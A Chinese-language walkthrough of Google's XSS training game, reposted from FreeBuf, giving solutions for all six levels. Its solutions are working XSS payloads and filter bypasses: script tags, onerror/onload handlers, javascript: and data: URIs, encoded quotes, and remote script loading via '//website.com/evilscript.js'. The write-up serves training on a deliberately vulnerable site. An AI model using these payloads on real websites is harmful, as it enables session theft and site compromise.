玩转Google的XSS游戏

作者 Taskiller

Hi基友们,本文主要描述Google前些天发布的关于XSS漏洞游戏的玩法,地址在这里。

https://xss-game.appspot.com/

本文我会列举在网络中找到的一些有趣的方法,包含所有关卡。废话不多说,直接开始吧!

Level 1: Hello, world of XSS

好吧,这一关很简单,没什么可说的:

<script>alert(1);</script>

Level 2: Persistence is key

这一关可以用以下这几种不同的方式:

<a href="test" onclick="javascript:alert(1);">test</a>

创建一个链接(需要与用户交互)

<img src="test.png" onerror="javascript:alert(1);"/>

加载一幅无效图片(使用onerror)——不需要交互。

<img src="https://xss-game.appspot.com/static/level2_icon.png"onload="alert(1);" />

加载一张有效图片(使用onload)——不需要交互。

Level 3: That sinking feeling…

页面上加载的图片使用了window.location.hash 这一javascript属性。

所以我们可以用如下这种方式:

1.jpg' onload='javascript:alert(1);'

加载一张有效图片(使用onload)——不需要交互。

或者:

' onerror="alert(1)">

加载一张无效图片(使用onerror)——不需要交互。

也可以用如下方式使用script 标签:

'><script>alert(1);</script>

Level 4: Context matters

这一关需要用一些不同的方法:

1')%3Balert('1

分号字符必须被编码,否则会被过滤。

单引号’也有可能被过滤:

1%27)%3balert(%271

也可以使用||逻辑操作符:

1') || alert('1

也可以用下面这种方法,不需要任何编码/操作符:

1');alert(1);//

Level 5: Breaking protocol

在这一关,像双引号”这样的字符会被过滤,我们只需要使用:

javascript:alert(1);

之后,单击链接之后,就会提示alert警告框了。

Level 6: Follow the rabbit

在最后一关,我们可以用如下方式使用data:text/javascript:

data:text/javascript,alert(1);

正则表达式也是大小写敏感的,所以我们可以用“HTTP”代替“http”,之后用如下这种方式加载远程脚本:

HTTP://127.0.0.1:8000

或在网址最开始处添加一个空格:

[空格]http://127.0.0.1:8000

首页必须包含一些类似alert(1)这样的javascript脚本。

我在网络上看到有些人没办法加载某些HTTP脚本,因为他们使用的是HTTPS版本,这种情况下,可以自己创建一个简单的HTTPS服务器(例如使用Node.js)。

var https = require('https');
var fs = require('fs');
 
var hskey = fs.readFileSync('server.key');
var hscert = fs.readFileSync('server.crt')
 
var options = {
    key: hskey,
    cert: hscert
};
 
https.createServer(options, function (req, res){
    res.writeHead(200);
    res.end("alert(1);");
}).listen(8000);

利用Node.js实现简单的HTTPS服务器

在这两种情况下,可以使用以下代码绕过过滤:

//website.com/evilscript.js

双反斜杠符号//是使用https或http的另一种方式,实际情况中会用哪个取决于网站使用的协议。

例如,如果运行着自己的HTTPS服务器,可以注入以下代码:

//127.0.0.1:8000

Done.

希望读完本文的读者能有所收获。这个游戏还是挺有意思的,期待其后续的作品。

原文地址:http://paulsec.github.io/blog/2014/06/02/diving-into-xss-googles-game/

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2014-06-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏安恒网络空间安全讲武堂

Amazing phpinfo()

前记 Xdebug 前记 定义 开启Xdebug 适用目标 实验效果 注意事项 session.upload_progress 定义 开启session.upl...

37960
来自专栏Web项目聚集地

Javascript中的异步

9020
来自专栏前端儿

【转】http-equiv="X-UA-Compatible" 设置IE浏览器兼容模式详解

文件兼容性用于定义让IE如何编译你的网页。此文件解释文件兼容性,如何指定你网站的文件兼容性模式以及如何判断一个网页该使用的文件模式。

35410
来自专栏Python中文社区

Python爬虫抓取收集考试大纲

專 欄 ❈ Garfield_Liang,Python中文社区专栏作者。 博客地址:http://www.jianshu.com/u/cac1d39abfa9 ...

260100
来自专栏java架构师

跨域请求数据解决方案整理

跨域请求数据解决方案主要有如下解决方法: JSONP方式 表单POST方式 服务器代理 Html5的XDomainRequest Flash request 分...

36070
来自专栏智能算法

Jupyter notebook使用指南

一、Jupyter介绍 Jupyter Notebook是以web交互式的编程接口,是IPython notebook的升级版本。主要是针对python,另外...

3K80
来自专栏前端那些事

async和enterproxy控制并发数量

聊聊并发与并行 并发我们经常提及之,不管是web server,app并发无处不在,操作系统中,指一个时间段中几个程序处于已经启动运行到完毕之间,且这几个程序都...

367100
来自专栏iDavid丶的专栏

WordPress IP验证不当漏洞修复

修复方案:找到/wp-includes/http.php这个文件,在文件的465行附近找到:

61960
来自专栏Python爬虫与算法进阶

【Python爬虫实战】——爬取今日头条美女图片

笔者是头条的深度使用者,经常用头条完成“看片”大业。若不信的话可以试试在头条搜索街拍,返回的都是一道道靓丽的风景线。 ? 想把图片存下来,该怎么办呢?我们可以用...

2.2K100
来自专栏狮乐园

高级 Angular 组件模式 (3a)

针对第一个问题,我们使用@ContentChildren装饰器(因为它获取所有的子组件引用),但是它无法解决第二个问题。

10940

扫码关注云+社区

领取腾讯云代金券